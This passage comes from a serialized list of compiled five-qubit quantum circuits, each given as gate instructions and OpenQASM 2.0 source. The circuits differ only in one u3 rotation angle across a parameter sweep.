'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1203', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.800000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1205', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.900000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1207', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1209', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.2000000000000002, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': 